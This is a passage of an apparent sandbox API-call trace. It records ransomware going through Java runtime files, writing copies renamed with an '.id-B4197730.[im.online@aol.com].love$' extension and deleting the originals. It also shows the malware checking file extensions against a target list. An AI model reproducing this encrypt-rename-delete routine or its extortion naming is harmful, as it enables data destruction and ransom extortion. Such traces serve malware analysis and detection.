dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.938] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0232.939] GetLastError () returned 0x0 [0232.939] ReadFile (in: hFile=0x46c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xd51, lpOverlapped=0x0) returned 1 [0232.965] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xd60, lpOverlapped=0x0) returned 1 [0232.967] ReadFile (in: hFile=0x46c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.967] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x100, lpOverlapped=0x0) returned 1 [0232.967] SetEndOfFile (hFile=0x4bc) returned 1 [0232.967] CloseHandle (hObject=0x4bc) returned 1 [0232.967] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.967] SetEndOfFile (hFile=0x46c) returned 1 [0232.971] CloseHandle (hObject=0x46c) returned 1 [0232.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0232.972] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 1 [0232.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0232.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0232.973] lstrlenW (lpString=".doc") returned 4 [0232.973] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0232.973] lstrlenW (lpString=".docx") returned 5 [0232.973] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0232.973] lstrlenW (lpString=".pdf") returned 4 [0232.973] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0232.973] lstrlenW (lpString=".xls") returned 4 [0232.973] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0232.973] lstrlenW (lpString=".xlsx") returned 5 [0232.973] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0232.973] lstrlenW (lpString=".ppt") returned 4 [0232.973] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0232.973] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0232.973] lstrlenW (lpString=".zip") returned 4 [0232.973] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0232.974] lstrlenW (lpString=".rar") returned 4 [0232.974] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0232.974] lstrlenW (lpString=".bz2") returned 4 [0232.974] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0232.974] lstrlenW (lpString=".7z") returned 3 [0232.974] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0232.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0232.974] lstrlenW (lpString=".dbf") returned 4 [0232.974] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0232.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0232.974] lstrlenW (lpString=".1cd") returned 4 [0232.974] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0232.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0232.974] lstrlenW (lpString=".jpg") returned 4 [0232.974] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0232.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0232.974] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0232.974] lstrlenW (lpString=".doc") returned 4 [0232.974] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0232.974] lstrlenW (lpString=".docx") returned 5 [0232.974] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0232.974] lstrlenW (lpString=".pdf") returned 4 [0232.974] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0232.974] lstrlenW (lpString=".xls") returned 4 [0232.974] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0232.974] lstrlenW (lpString=".xlsx") returned 5 [0232.974] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0232.974] lstrlenW (lpString=".ppt") returned 4 [0232.975] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0232.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0232.975] lstrlenW (lpString=".zip") returned 4 [0232.975] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0232.975] lstrlenW (lpString=".rar") returned 4 [0232.975] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0232.975] lstrlenW (lpString=".bz2") returned 4 [0232.975] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0232.975] lstrlenW (lpString=".7z") returned 3 [0232.975] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0232.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0232.975] lstrlenW (lpString=".dbf") returned 4 [0232.975] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0232.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0232.975] lstrlenW (lpString=".1cd") returned 4 [0232.975] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0232.975] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68 [0232.975] lstrlenW (lpString=".jpg") returned 4 [0232.975] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0232.975] lstrcmpiW (lpString1=".properties", lpString2=".love$") returned 1 [0232.975] lstrlenW (lpString="messages_zh_CN.properties") returned 25 [0232.975] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0232.976] GetFileSizeEx (in: hFile=0x46c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=4072) returned 1 [0232.976] CloseHandle (hObject=0x46c) returned 1 [0232.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20 [0232.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0232.977] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0232.977] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.977] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.977] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0232.978] GetLastError () returned 0x0 [0232.978] ReadFile (in: hFile=0x46c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xfe8, lpOverlapped=0x0) returned 1 [0232.983] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xff0, lpOverlapped=0x0) returned 1 [0232.984] ReadFile (in: hFile=0x46c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0232.985] WriteFile (in: hFile=0x4bc, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x106, lpOverlapped=0x0) returned 1 [0232.985] SetEndOfFile (hFile=0x4bc) returned 1 [0232.986] CloseHandle (hObject=0x4bc) returned 1 [0232.986] SetFilePointerEx (in: hFile=0x46c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0232.986] SetEndOfFile (hFile=0x46c) returned 1 [0233.720] CloseHandle (hObject=0x46c) returned 1 [0233.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0233.723] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 1 [0233.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0233.724] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0233.724] lstrlenW (lpString=".doc") returned 4 [0233.724] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0233.724] lstrlenW (lpString=".docx") returned 5 [0233.724] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0233.724] lstrlenW (lpString=".pdf") returned 4 [0233.724] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0233.724] lstrlenW (lpString=".xls") returned 4 [0233.729] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0233.729] lstrlenW (lpString=".xlsx") returned 5 [0233.729] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0233.729] lstrlenW (lpString=".ppt") returned 4 [0233.729] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0233.729] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0233.729] lstrlenW (lpString=".zip") returned 4 [0233.729] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0233.730] lstrlenW (lpString=".rar") returned 4 [0233.730] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0233.730] lstrlenW (lpString=".bz2") returned 4 [0233.730] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0233.730] lstrlenW (lpString=".7z") returned 3 [0233.730] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0233.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0233.730] lstrlenW (lpString=".dbf") returned 4 [0233.730] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0233.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0233.730] lstrlenW (lpString=".1cd") returned 4 [0233.730] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0233.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0233.730] lstrlenW (lpString=".jpg") returned 4 [0233.730] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0233.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0233.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0233.730] lstrlenW (lpString=".doc") returned 4 [0233.730] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0233.730] lstrlenW (lpString=".docx") returned 5 [0233.730] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0233.730] lstrlenW (lpString=".pdf") returned 4 [0233.730] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0233.730] lstrlenW (lpString=".xls") returned 4 [0233.730] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0233.730] lstrlenW (lpString=".xlsx") returned 5 [0233.730] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0233.730] lstrlenW (lpString=".ppt") returned 4 [0233.730] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0233.730] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0233.730] lstrlenW (lpString=".zip") returned 4 [0233.731] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0233.731] lstrlenW (lpString=".rar") returned 4 [0233.731] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0233.731] lstrlenW (lpString=".bz2") returned 4 [0233.731] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0233.731] lstrlenW (lpString=".7z") returned 3 [0233.731] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0233.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0233.731] lstrlenW (lpString=".dbf") returned 4 [0233.731] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0233.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0233.731] lstrlenW (lpString=".1cd") returned 4 [0233.731] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0233.731] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0233.731] lstrlenW (lpString=".jpg") returned 4 [0233.731] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0233.731] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0233.731] lstrlenW (lpString="cldrdata.jar") returned 12 [0233.731] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0233.732] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=3860502) returned 1 [0233.732] CloseHandle (hObject=0x4c4) returned 1 [0233.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20 [0233.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0233.733] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[im.online@aol.com].love$")) returned 0 [0233.733] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0233.733] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0233.733] lstrlenW (lpString=".doc") returned 4 [0233.733] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0233.733] lstrlenW (lpString=".docx") returned 5 [0233.733] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0233.733] lstrlenW (lpString=".pdf") returned 4 [0233.733] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0233.733] lstrlenW (lpString=".xls") returned 4 [0233.733] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0233.733] lstrlenW (lpString=".xlsx") returned 5 [0233.733] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0233.733] lstrlenW (lpString=".ppt") returned 4 [0233.733] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0233.733] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0233.733] lstrlenW (lpString=".zip") returned 4 [0233.733] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0233.733] lstrlenW (lpString=".rar") returned 4 [0233.733] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0233.733] lstrlenW (lpString=".bz2") returned 4 [0233.733] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0233.733] lstrlenW (lpString=".7z") returned 3 [0233.734] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0233.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0233.734] lstrlenW (lpString=".dbf") returned 4 [0233.734] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0233.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0233.734] lstrlenW (lpString=".1cd") returned 4 [0233.734] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0233.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0233.734] lstrlenW (lpString=".jpg") returned 4 [0233.734] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0233.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0233.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0233.734] lstrlenW (lpString=".doc") returned 4 [0233.734] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0233.734] lstrlenW (lpString=".docx") returned 5 [0233.734] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0233.734] lstrlenW (lpString=".pdf") returned 4 [0233.734] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0233.734] lstrlenW (lpString=".xls") returned 4 [0233.734] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0233.734] lstrlenW (lpString=".xlsx") returned 5 [0233.734] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0233.734] lstrlenW (lpString=".ppt") returned 4 [0233.734] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0233.734] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0233.734] lstrlenW (lpString=".zip") returned 4 [0233.734] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0233.734] lstrlenW (lpString=".rar") returned 4 [0233.735] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0233.735] lstrlenW (lpString=".bz2") returned 4 [0233.735] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0233.735] lstrlenW (lpString=".7z") returned 3 [0233.735] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0233.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0233.735] lstrlenW (lpString=".dbf") returned 4 [0233.735] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0233.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0233.735] lstrlenW (lpString=".1cd") returned 4 [0233.735] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0233.735] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0233.735] lstrlenW (lpString=".jpg") returned 4 [0233.735] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0233.735] lstrcmpiW (lpString1=".jar", lpString2=".love$") returned -1 [0233.735] lstrlenW (lpString="dnsns.jar") returned 9 [0233.735] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0233.736] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=8286) returned 1 [0233.736] CloseHandle (hObject=0x4c4) returned 1 [0233.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20 [0233.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0233.736] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0233.737] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.737] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.737] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0233.744] GetLastError () returned 0x0 [0233.744] ReadFile (in: hFile=0x4c4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x205e, lpOverlapped=0x0) returned 1 [0233.750] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2060, lpOverlapped=0x0) returned 1 [0233.752] ReadFile (in: hFile=0x4c4, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0233.752] WriteFile (in: hFile=0x3bc, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xe6, lpOverlapped=0x0) returned 1 [0233.752] SetEndOfFile (hFile=0x3bc) returned 1 [0233.752] CloseHandle (hObject=0x3bc) returned 1 [0233.752] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0233.752] SetEndOfFile (hFile=0x4c4) returned 1 [0233.770] CloseHandle (hObject=0x4c4) returned 1 [0233.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0233.771] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 1 [0233.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0233.771] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0233.771] lstrlenW (lpString=".doc") returned 4 [0233.771] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0233.771] lstrlenW (lpString=".docx") returned 5 [0233.771] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0233.771] lstrlenW (lpString=".pdf") returned 4 [0233.772] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0233.772] lstrlenW (lpString=".xls") returned 4 [0233.772] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0233.772] lstrlenW (lpString=".xlsx") returned 5 [0233.772] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0233.772] lstrlenW (lpString=".ppt") returned 4 [0233.772] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0233.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0233.772] lstrlenW (lpString=".zip") returned 4 [0233.772] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0233.772] lstrlenW (lpString=".rar") returned 4 [0233.772] lstrcmpiW 